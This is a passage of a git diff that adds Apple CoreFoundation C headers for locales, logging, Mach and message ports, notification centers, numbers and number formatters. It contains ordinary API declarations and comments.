CFLocaleCopyCommonISOCurrencyCodes(void) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + // Returns an array of CFStrings that represents ISO currency codes for + // currencies in common use. + +CF_EXPORT +CFArrayRef CFLocaleCopyPreferredLanguages(void) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + // Returns the array of canonicalized CFString locale IDs that the user prefers. + +CF_EXPORT +CFStringRef CFLocaleCreateCanonicalLanguageIdentifierFromString(CFAllocatorRef allocator, CFStringRef localeIdentifier) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Map an arbitrary language identification string (something close at + // least) to a canonical language identifier. + +CF_EXPORT +CFStringRef CFLocaleCreateCanonicalLocaleIdentifierFromString(CFAllocatorRef allocator, CFStringRef localeIdentifier) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Map an arbitrary locale identification string (something close at + // least) to the canonical identifier. + +CF_EXPORT +CFStringRef CFLocaleCreateCanonicalLocaleIdentifierFromScriptManagerCodes(CFAllocatorRef allocator, LangCode lcode, RegionCode rcode) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Map a Mac OS LangCode and RegionCode to the canonical locale identifier. + +CF_EXPORT +CFDictionaryRef CFLocaleCreateComponentsFromLocaleIdentifier(CFAllocatorRef allocator, CFStringRef localeID) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Parses a locale ID consisting of language, script, country, variant, + // and keyword/value pairs into a dictionary. The keys are the constant + // CFStrings corresponding to the locale ID components, and the values + // will correspond to constants where available. + // Example: "en_US@calendar=japanese" yields a dictionary with three + // entries: kCFLocaleLanguageCode=en, kCFLocaleCountryCode=US, and + // kCFLocaleCalendarIdentifier=kCFJapaneseCalendar. + +CF_EXPORT +CFStringRef CFLocaleCreateLocaleIdentifierFromComponents(CFAllocatorRef allocator, CFDictionaryRef dictionary) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Reverses the actions of CFLocaleCreateDictionaryFromLocaleIdentifier, + // creating a single string from the data in the dictionary. The + // dictionary {kCFLocaleLanguageCode=en, kCFLocaleCountryCode=US, + // kCFLocaleCalendarIdentifier=kCFJapaneseCalendar} becomes + // "en_US@calendar=japanese". + +CF_EXPORT +CFLocaleRef CFLocaleCreate(CFAllocatorRef allocator, CFStringRef localeIdentifier) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Returns a CFLocaleRef for the locale named by the "arbitrary" locale identifier. + +CF_EXPORT +CFLocaleRef CFLocaleCreateCopy(CFAllocatorRef allocator, CFLocaleRef locale) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Having gotten a CFLocale from somebody, code should make a copy + // if it is going to use it for several operations + // or hold onto it. In the future, there may be mutable locales. + +CF_EXPORT +CFStringRef CFLocaleGetIdentifier(CFLocaleRef locale) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Returns the locale's identifier. This may not be the same string + // that the locale was created with (CFLocale may canonicalize it). + +CF_EXPORT +CFTypeRef CFLocaleGetValue(CFLocaleRef locale, CFStringRef key) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Returns the value for the given key. This is how settings and state + // are accessed via a CFLocale. Values might be of any CF type. + +CF_EXPORT +CFStringRef CFLocaleCopyDisplayNameForPropertyValue(CFLocaleRef displayLocale, CFStringRef key, CFStringRef value) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Returns the display name for the given value. The key tells what + // the value is, and is one of the usual locale property keys, though + // not all locale property keys have values with display name values. + + +CF_EXPORT const CFStringRef kCFLocaleCurrentLocaleDidChangeNotification AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + + +// Locale Keys +CF_EXPORT const CFStringRef kCFLocaleIdentifier AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleLanguageCode AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleCountryCode AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleScriptCode AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleVariantCode AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT const CFStringRef kCFLocaleExemplarCharacterSet AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleCalendarIdentifier AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleCalendar AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleCollationIdentifier AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleUsesMetricSystem AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleMeasurementSystem AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // "Metric" or "U.S." +CF_EXPORT const CFStringRef kCFLocaleDecimalSeparator AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleGroupingSeparator AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleCurrencySymbol AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +CF_EXPORT const CFStringRef kCFLocaleCurrencyCode AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // ISO 3-letter currency code + +// Values for kCFLocaleCalendarIdentifier +CF_EXPORT const CFStringRef kCFGregorianCalendar AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +CF_EXPORT const CFStringRef kCFBuddhistCalendar AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFChineseCalendar AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFHebrewCalendar AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFIslamicCalendar AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFIslamicCivilCalendar AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFJapaneseCalendar AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + +CF_EXTERN_C_END + +#endif + +#endif /* ! __COREFOUNDATION_CFLOCALE__ */ + diff --git a/winstuff/CoreFoundation/CFLogUtilities.h b/winstuff/CoreFoundation/CFLogUtilities.h new file mode 100644 index 0000000..07004b9 --- /dev/null +++ b/winstuff/CoreFoundation/CFLogUtilities.h @@ -0,0 +1,63 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFLogUtilities.h + Copyright (c) 2004-2007, Apple Inc. All rights reserved. +*/ + +/* + APPLE SPI: NOT TO BE USED OUTSIDE APPLE! +*/ + +#if !defined(__COREFOUNDATION_CFLOGUTILITIES__) +#define __COREFOUNDATION_CFLOGUTILITIES__ 1 + +#include +#include + +CF_EXTERN_C_BEGIN + + +enum { // Legal level values for CFLog() + kCFLogLevelEmergency = 0, + kCFLogLevelAlert = 1, + kCFLogLevelCritical = 2, + kCFLogLevelError = 3, + kCFLogLevelWarning = 4, + kCFLogLevelNotice = 5, + kCFLogLevelInfo = 6, + kCFLogLevelDebug = 7, +}; + +CF_EXPORT void CFLog(int32_t level, CFStringRef format, ...); +/* Passing in a level value which is outside the range of 0-7 will cause the the call to do nothing. + CFLog() logs the message using the asl.h API, and uses the level parameter as the log level. + Note that the asl subsystem ignores some log levels by default. + CFLog() is not fast, and is not going to be guaranteed to be fast. + Even "no-op" CFLogs are not necessarily fast. + If you care about performance, you shouldn't be logging. +*/ + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFLOGUTILITIES__ */ + diff --git a/winstuff/CoreFoundation/CFMachPort.h b/winstuff/CoreFoundation/CFMachPort.h new file mode 100644 index 0000000..0e0aff2 --- /dev/null +++ b/winstuff/CoreFoundation/CFMachPort.h @@ -0,0 +1,43 @@ +/* CFMachPort.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFMACHPORT__) +#define __COREFOUNDATION_CFMACHPORT__ 1 + +#include +#include + +CF_EXTERN_C_BEGIN + +typedef struct __CFMachPort * CFMachPortRef; + +typedef struct { + CFIndex version; + void * info; + const void *(*retain)(const void *info); + void (*release)(const void *info); + CFStringRef (*copyDescription)(const void *info); +} CFMachPortContext; + +typedef void (*CFMachPortCallBack)(CFMachPortRef port, void *msg, CFIndex size, void *info); +typedef void (*CFMachPortInvalidationCallBack)(CFMachPortRef port, void *info); + +CF_EXPORT CFTypeID CFMachPortGetTypeID(void); + +CF_EXPORT CFMachPortRef CFMachPortCreate(CFAllocatorRef allocator, CFMachPortCallBack callout, CFMachPortContext *context, Boolean *shouldFreeInfo); +CF_EXPORT CFMachPortRef CFMachPortCreateWithPort(CFAllocatorRef allocator, mach_port_t portNum, CFMachPortCallBack callout, CFMachPortContext *context, Boolean *shouldFreeInfo); + +CF_EXPORT mach_port_t CFMachPortGetPort(CFMachPortRef port); +CF_EXPORT void CFMachPortGetContext(CFMachPortRef port, CFMachPortContext *context); +CF_EXPORT void CFMachPortInvalidate(CFMachPortRef port); +CF_EXPORT Boolean CFMachPortIsValid(CFMachPortRef port); +CF_EXPORT CFMachPortInvalidationCallBack CFMachPortGetInvalidationCallBack(CFMachPortRef port); +CF_EXPORT void CFMachPortSetInvalidationCallBack(CFMachPortRef port, CFMachPortInvalidationCallBack callout); + +CF_EXPORT CFRunLoopSourceRef CFMachPortCreateRunLoopSource(CFAllocatorRef allocator, CFMachPortRef port, CFIndex order); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFMACHPORT__ */ + diff --git a/winstuff/CoreFoundation/CFMessagePort.h b/winstuff/CoreFoundation/CFMessagePort.h new file mode 100644 index 0000000..95d814e --- /dev/null +++ b/winstuff/CoreFoundation/CFMessagePort.h @@ -0,0 +1,58 @@ +/* CFMessagePort.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFMESSAGEPORT__) +#define __COREFOUNDATION_CFMESSAGEPORT__ 1 + +#include +#include +#include + +CF_EXTERN_C_BEGIN + +typedef struct __CFMessagePort * CFMessagePortRef; + +enum { + kCFMessagePortSuccess = 0, + kCFMessagePortSendTimeout = -1, + kCFMessagePortReceiveTimeout = -2, + kCFMessagePortIsInvalid = -3, + kCFMessagePortTransportError = -4 +}; + +typedef struct { + CFIndex version; + void * info; + const void *(*retain)(const void *info); + void (*release)(const void *info); + CFStringRef (*copyDescription)(const void *info); +} CFMessagePortContext; + +typedef CFDataRef (*CFMessagePortCallBack)(CFMessagePortRef local, SInt32 msgid, CFDataRef data, void *info); +/* If callout wants to keep a hold of the data past the return of the callout, it must COPY the data. This includes the case where the data is given to some routine which _might_ keep a hold of it; System will release returned CFData. */ +typedef void (*CFMessagePortInvalidationCallBack)(CFMessagePortRef ms, void *info); + +CF_EXPORT CFTypeID CFMessagePortGetTypeID(void); + +CF_EXPORT CFMessagePortRef CFMessagePortCreateLocal(CFAllocatorRef allocator, CFStringRef name, CFMessagePortCallBack callout, CFMessagePortContext *context, Boolean *shouldFreeInfo); +CF_EXPORT CFMessagePortRef CFMessagePortCreateRemote(CFAllocatorRef allocator, CFStringRef name); + +CF_EXPORT Boolean CFMessagePortIsRemote(CFMessagePortRef ms); +CF_EXPORT CFStringRef CFMessagePortGetName(CFMessagePortRef ms); +CF_EXPORT Boolean CFMessagePortSetName(CFMessagePortRef ms, CFStringRef newName); +CF_EXPORT void CFMessagePortGetContext(CFMessagePortRef ms, CFMessagePortContext *context); +CF_EXPORT void CFMessagePortInvalidate(CFMessagePortRef ms); +CF_EXPORT Boolean CFMessagePortIsValid(CFMessagePortRef ms); +CF_EXPORT CFMessagePortInvalidationCallBack CFMessagePortGetInvalidationCallBack(CFMessagePortRef ms); +CF_EXPORT void CFMessagePortSetInvalidationCallBack(CFMessagePortRef ms, CFMessagePortInvalidationCallBack callout); + +/* NULL replyMode argument means no return value expected, dont wait for it */ +CF_EXPORT SInt32 CFMessagePortSendRequest(CFMessagePortRef remote, SInt32 msgid, CFDataRef data, CFTimeInterval sendTimeout, CFTimeInterval rcvTimeout, CFStringRef replyMode, CFDataRef *returnData); + +CF_EXPORT CFRunLoopSourceRef CFMessagePortCreateRunLoopSource(CFAllocatorRef allocator, CFMessagePortRef local, CFIndex order); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFMESSAGEPORT__ */ + diff --git a/winstuff/CoreFoundation/CFNotificationCenter.h b/winstuff/CoreFoundation/CFNotificationCenter.h new file mode 100644 index 0000000..5ce7bde --- /dev/null +++ b/winstuff/CoreFoundation/CFNotificationCenter.h @@ -0,0 +1,77 @@ +/* CFNotificationCenter.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFNOTIFICATIONCENTER__) +#define __COREFOUNDATION_CFNOTIFICATIONCENTER__ 1 + +#include +#include + +CF_EXTERN_C_BEGIN + +typedef struct __CFNotificationCenter * CFNotificationCenterRef; + +typedef void (*CFNotificationCallback)(CFNotificationCenterRef center, void *observer, CFStringRef name, const void *object, CFDictionaryRef userInfo); + +enum { + CFNotificationSuspensionBehaviorDrop = 1, + // The server will not queue any notifications with this name and object while the process/app is in the background. + CFNotificationSuspensionBehaviorCoalesce = 2, + // The server will only queue the last notification of the specified name and object; earlier notifications are dropped. + CFNotificationSuspensionBehaviorHold = 3, + // The server will hold all matching notifications until the queue has been filled (queue size determined by the server) at which point the server may flush queued notifications. + CFNotificationSuspensionBehaviorDeliverImmediately = 4 + // The server will deliver notifications matching this registration whether or not the process is in the background. When a notification with this suspension behavior is matched, it has the effect of first flushing any queued notifications. +}; +typedef CFIndex CFNotificationSuspensionBehavior; + +CF_EXPORT CFTypeID CFNotificationCenterGetTypeID(void); + +CF_EXPORT CFNotificationCenterRef CFNotificationCenterGetLocalCenter(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +#if (TARGET_OS_MAC && !(TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) || TARGET_OS_WIN32 +CF_EXPORT CFNotificationCenterRef CFNotificationCenterGetDistributedCenter(void); +#endif + +CF_EXPORT CFNotificationCenterRef CFNotificationCenterGetDarwinNotifyCenter(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +// The Darwin Notify Center is based on the API. +// For this center, there are limitations in the API. There are no notification "objects", +// "userInfo" cannot be passed in the notification, and there are no suspension behaviors +// (always "deliver immediately"). Other limitations in the API as described in +// that header will also apply. +// - In the CFNotificationCallback, the 'object' and 'userInfo' parameters must be ignored. +// - CFNotificationCenterAddObserver(): the 'object' and 'suspensionBehavior' arguments are ignored. +// - CFNotificationCenterAddObserver(): the 'name' argument may not be NULL (for this center). +// - CFNotificationCenterRemoveObserver(): the 'object' argument is ignored. +// - CFNotificationCenterPostNotification(): the 'object', 'userInfo', and 'deliverImmediately' arguments are ignored. +// - CFNotificationCenterPostNotificationWithOptions(): the 'object', 'userInfo', and 'options' arguments are ignored. +// The Darwin Notify Center has no notion of per-user sessions, all notifications are system-wide. +// As with distributed notifications, the main thread's run loop must be running in one of the +// common modes (usually kCFRunLoopDefaultMode) for Darwin-style notifications to be delivered. +// NOTE: NULL or 0 should be passed for all ignored arguments to ensure future compatibility. + + +CF_EXPORT void CFNotificationCenterAddObserver(CFNotificationCenterRef center, const void *observer, CFNotificationCallback callBack, CFStringRef name, const void *object, CFNotificationSuspensionBehavior suspensionBehavior); + +CF_EXPORT void CFNotificationCenterRemoveObserver(CFNotificationCenterRef center, const void *observer, CFStringRef name, const void *object); +CF_EXPORT void CFNotificationCenterRemoveEveryObserver(CFNotificationCenterRef center, const void *observer); + +CF_EXPORT void CFNotificationCenterPostNotification(CFNotificationCenterRef center, CFStringRef name, const void *object, CFDictionaryRef userInfo, Boolean deliverImmediately); + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED + +enum { + kCFNotificationDeliverImmediately = (1 << 0), + kCFNotificationPostToAllSessions = (1 << 1) +}; + +void CFNotificationCenterPostNotificationWithOptions(CFNotificationCenterRef center, CFStringRef name, const void *object, CFDictionaryRef userInfo, CFOptionFlags options) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +#endif + + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFNOTIFICATIONCENTER__ */ + diff --git a/winstuff/CoreFoundation/CFNumber.h b/winstuff/CoreFoundation/CFNumber.h new file mode 100644 index 0000000..79aec0b --- /dev/null +++ b/winstuff/CoreFoundation/CFNumber.h @@ -0,0 +1,127 @@ +/* CFNumber.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFNUMBER__) +#define __COREFOUNDATION_CFNUMBER__ 1 + +#include + +CF_EXTERN_C_BEGIN + +typedef const struct __CFBoolean * CFBooleanRef; + +CF_EXPORT +const CFBooleanRef kCFBooleanTrue; +CF_EXPORT +const CFBooleanRef kCFBooleanFalse; + +CF_EXPORT +CFTypeID CFBooleanGetTypeID(void); + +CF_EXPORT +Boolean CFBooleanGetValue(CFBooleanRef boolean); + +enum { + /* Fixed-width types */ + kCFNumberSInt8Type = 1, + kCFNumberSInt16Type = 2, + kCFNumberSInt32Type = 3, + kCFNumberSInt64Type = 4, + kCFNumberFloat32Type = 5, + kCFNumberFloat64Type = 6, /* 64-bit IEEE 754 */ + /* Basic C types */ + kCFNumberCharType = 7, + kCFNumberShortType = 8, + kCFNumberIntType = 9, + kCFNumberLongType = 10, + kCFNumberLongLongType = 11, + kCFNumberFloatType = 12, + kCFNumberDoubleType = 13, + /* Other */ + kCFNumberCFIndexType = 14, +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFNumberNSIntegerType = 15, + kCFNumberCGFloatType = 16, + kCFNumberMaxType = 16 +#else + kCFNumberMaxType = 14 +#endif +}; +typedef CFIndex CFNumberType; + +typedef const struct __CFNumber * CFNumberRef; + +CF_EXPORT +const CFNumberRef kCFNumberPositiveInfinity; +CF_EXPORT +const CFNumberRef kCFNumberNegativeInfinity; +CF_EXPORT +const CFNumberRef kCFNumberNaN; + +CF_EXPORT +CFTypeID CFNumberGetTypeID(void); + +/* + Creates a CFNumber with the given value. The type of number pointed + to by the valuePtr is specified by type. If type is a floating point + type and the value represents one of the infinities or NaN, the + well-defined CFNumber for that value is returned. If either of + valuePtr or type is an invalid value, the result is undefined. +*/ +CF_EXPORT +CFNumberRef CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr); + +/* + Returns the storage format of the CFNumber's value. Note that + this is not necessarily the type provided in CFNumberCreate(). +*/ +CF_EXPORT +CFNumberType CFNumberGetType(CFNumberRef number); + +/* + Returns the size in bytes of the type of the number. +*/ +CF_EXPORT +CFIndex CFNumberGetByteSize(CFNumberRef number); + +/* + Returns true if the type of the CFNumber's value is one of + the defined floating point types. +*/ +CF_EXPORT +Boolean CFNumberIsFloatType(CFNumberRef number); + +/* + Copies the CFNumber's value into the space pointed to by + valuePtr, as the specified type. If conversion needs to take + place, the conversion rules follow human expectation and not + C's promotion and truncation rules. If the conversion is + lossy, or the value is out of range, false is returned. Best + attempt at conversion will still be in *valuePtr. +*/ +CF_EXPORT +Boolean CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr); + +/* + Compares the two CFNumber instances. If conversion of the + types of the values is needed, the conversion and comparison + follow human expectations and not C's promotion and comparison + rules. Negative zero compares less than positive zero. + Positive infinity compares greater than everything except + itself, to which it compares equal. Negative infinity compares + less than everything except itself, to which it compares equal. + Unlike standard practice, if both numbers are NaN, then they + compare equal; if only one of the numbers is NaN, then the NaN + compares greater than the other number if it is negative, and + smaller than the other number if it is positive. (Note that in + CFEqual() with two CFNumbers, if either or both of the numbers + is NaN, true is returned.) +*/ +CF_EXPORT +CFComparisonResult CFNumberCompare(CFNumberRef number, CFNumberRef otherNumber, void *context); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFNUMBER__ */ + diff --git a/winstuff/CoreFoundation/CFNumberFormatter.h b/winstuff/CoreFoundation/CFNumberFormatter.h new file mode 100644 index 0000000..aece196 --- /dev/null +++ b/winstuff/CoreFoundation/CFNumberFormatter.h @@ -0,0 +1,169 @@ +/* CFNumberFormatter.h + Copyright (c) 2003-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFNUMBERFORMATTER__) +#define __COREFOUNDATION_CFNUMBERFORMATTER__ 1 + +#include +#include +#include + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED + +CF_EXTERN_C_BEGIN + +typedef struct __CFNumberFormatter *CFNumberFormatterRef; + +// CFNumberFormatters are not thread-safe. Do not use one from multiple threads! + +CF_EXPORT +CFTypeID CFNumberFormatterGetTypeID(void) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +enum { // number format styles + kCFNumberFormatterNoStyle = 0, + kCFNumberFormatterDecimalStyle = 1, + kCFNumberFormatterCurrencyStyle = 2, + kCFNumberFormatterPercentStyle = 3, + kCFNumberFormatterScientificStyle = 4, + kCFNumberFormatterSpellOutStyle = 5 +}; +typedef CFIndex CFNumberFormatterStyle; + + +CF_EXPORT +CFNumberFormatterRef CFNumberFormatterCreate(CFAllocatorRef allocator, CFLocaleRef locale, CFNumberFormatterStyle style) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Returns a CFNumberFormatter, localized to the given locale, which + // will format numbers to the given style. + +CF_EXPORT +CFLocaleRef CFNumberFormatterGetLocale(CFNumberFormatterRef formatter) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFNumberFormatterStyle CFNumberFormatterGetStyle(CFNumberFormatterRef formatter) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Get the properties with which the number formatter was created. + +CF_EXPORT +CFStringRef CFNumberFormatterGetFormat(CFNumberFormatterRef formatter) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +void CFNumberFormatterSetFormat(CFNumberFormatterRef formatter, CFStringRef formatString) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Set the format description string of the number formatter. This + // overrides the style settings. The format of the format string + // is as defined by the ICU library, and is similar to that found + // in Microsoft Excel and NSNumberFormatter (and Java I believe). + // The number formatter starts with a default format string defined + // by the style argument with which it was created. + + +CF_EXPORT +CFStringRef CFNumberFormatterCreateStringWithNumber(CFAllocatorRef allocator, CFNumberFormatterRef formatter, CFNumberRef number) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFStringRef CFNumberFormatterCreateStringWithValue(CFAllocatorRef allocator, CFNumberFormatterRef formatter, CFNumberType numberType, const void *valuePtr) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Create a string representation of the given number or value + // using the current state of the number formatter. + + +enum { + kCFNumberFormatterParseIntegersOnly = 1 /* only parse integers */ +}; +typedef CFOptionFlags CFNumberFormatterOptionFlags; + +CF_EXPORT +CFNumberRef CFNumberFormatterCreateNumberFromString(CFAllocatorRef allocator, CFNumberFormatterRef formatter, CFStringRef string, CFRange *rangep, CFOptionFlags options) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +Boolean CFNumberFormatterGetValueFromString(CFNumberFormatterRef formatter, CFStringRef string, CFRange *rangep, CFNumberType numberType, void *valuePtr) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Parse a string representation of a number using the current state + // of the number formatter. The range parameter specifies the range + // of the string in which the parsing should occur in input, and on + // output indicates the extent that was used; this parameter can + // be NULL, in which case the whole string may be used. The + // return value indicates whether some number was computed and + // (if valuePtr is not NULL) stored at the location specified by + // valuePtr. The numberType indicates the type of value pointed + // to by valuePtr. + + +CF_EXPORT +void CFNumberFormatterSetProperty(CFNumberFormatterRef formatter, CFStringRef key, CFTypeRef value) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFTypeRef CFNumberFormatterCopyProperty(CFNumberFormatterRef formatter, CFStringRef key) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Set and get various properties of the number formatter, the set of + // which may be expanded in the future. + +CF_EXPORT const CFStringRef kCFNumberFormatterCurrencyCode AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterDecimalSeparator AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterCurrencyDecimalSeparator AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterAlwaysShowDecimalSeparator AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFBoolean +CF_EXPORT const CFStringRef kCFNumberFormatterGroupingSeparator AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterUseGroupingSeparator AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFBoolean +CF_EXPORT const CFStringRef kCFNumberFormatterPercentSymbol AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterZeroSymbol AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterNaNSymbol AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterInfinitySymbol AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterMinusSign AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterPlusSign AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterCurrencySymbol AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterExponentSymbol AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterMinIntegerDigits AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterMaxIntegerDigits AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterMinFractionDigits AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterMaxFractionDigits AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterGroupingSize AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterSecondaryGroupingSize AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterRoundingMode AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterRoundingIncrement AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterFormatWidth AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterPaddingPosition AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterPaddingCharacter AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterDefaultFormat AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterMultiplier AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFNumber +CF_EXPORT const CFStringRef kCFNumberFormatterPositivePrefix AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; // CFString +CF_EXPORT const CFStringRef kCFNumberFormatterPositiveSuffix 